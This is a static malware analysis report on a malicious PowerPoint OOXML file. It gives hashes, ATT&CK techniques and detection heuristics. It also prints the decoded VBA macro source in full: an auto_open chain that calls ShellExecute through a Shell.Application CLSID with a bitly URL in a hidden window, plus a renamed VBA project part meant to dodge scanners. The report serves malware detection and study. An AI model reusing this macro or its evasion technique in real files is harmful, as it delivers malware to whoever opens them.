Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 6298ad06ce95fae3…

MALICIOUS

Office (OOXML)

11.3 KB First seen: 2021-10-23
MD5: 47c0b0a693e2a598c247e54bfc3d0776 SHA-1: abc97d79fe9ea200a8887b01631fe72136a44169 SHA-256: 6298ad06ce95fae36c4e12e045be6fcbd2348805af639c775ea730d038f80997
150 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The OOXML file contains a VBA macro that is automatically executed upon opening. This macro utilizes CreateObject to instantiate an object and then calls ShellExecute to run a payload from the URL http://bitly.com/asdasdjqwhdioquwhk. The renaming of the VBA project part suggests an attempt to evade detection.

Heuristics 6

  • VBA project inside OOXML medium 4 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present (project part renamed away from vbaProject.bin: ppt/VBAbAN.b)
  • VBA project part renamed to evade filename detection high OOXML_VBA_PROJECT_RENAMED
    The VBA project is bound through the OOXML relationship/content type but its part is not named vbaProject.bin. Legitimate Office producers always emit vbaProject.bin; renaming it hides the macros from path-only scanners (observed in the SVCReady loader).
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    'obj12.VBAFormat
Set objMMC1 = CreateObject("new:13709620-C279-11CE-A49E-444553540000")
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Auto_Open macro low OLE_VBA_AUTO
    Auto_Open macro
    Matched line in script
    Attribute VB_Name = "Module11"
Sub auto_open()
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://bitly.com/asdasdjqwhdioquwhk In document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 2175 bytes
SHA-256: 4307147c4e9cd214fc74a5bc49f6bb3d46af30af843a6ebc9a1fb60f101f19dc
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Class1"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Public Sub VBAFormat()

Dim obj As New Class11




Dim p As Presentation: Set p = ActivePresentation
Dim s As Slide
Dim sh As Shape
For Each s In p.Slides
    For Each sh In s.Shapes
        If sh.HasTextFrame Then
            If sh.TextFrame.HasText Then
                obj.mopas sh.TextFrame.TextRange.Text
            End If
        End If
    Next
Next



End Sub

Attribute VB_Name = "Module11"
Sub auto_open()


Dim obj As New Class1

obj.VBAFormat




End Sub

Attribute VB_Name = "Class111"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Sub Minterger(ByVal VBA2 As String)


Dim obj As New Class12

obj _
.MainCallex VBA2


End Sub

Attribute VB_Name = "Class12"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Sub MainCallex(ByVal dd As String)

Dim obj12 As New Class1
'obj12.VBAFormat
Set objMMC1 = CreateObject("new:13709620-C279-11CE-A49E-444553540000")


objMMC1.ShellExecute dd, "http://bitly.com/asdasdjqwhdioquwhk", "", "runas", 0


End Sub

Attribute VB_Name = "Class11"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Sub mopas(ByVal VBA As String)

Dim obj As New Class111
obj _
.Minterger VBA



End Sub
vbaProject_00.bin vba-project OOXML VBA project: ppt/VBAbAN.b 27648 bytes
SHA-256: 5809998789fc08ad3e91f8b1f704c71c93356c2ba65ed73de6298d64640a9a4d

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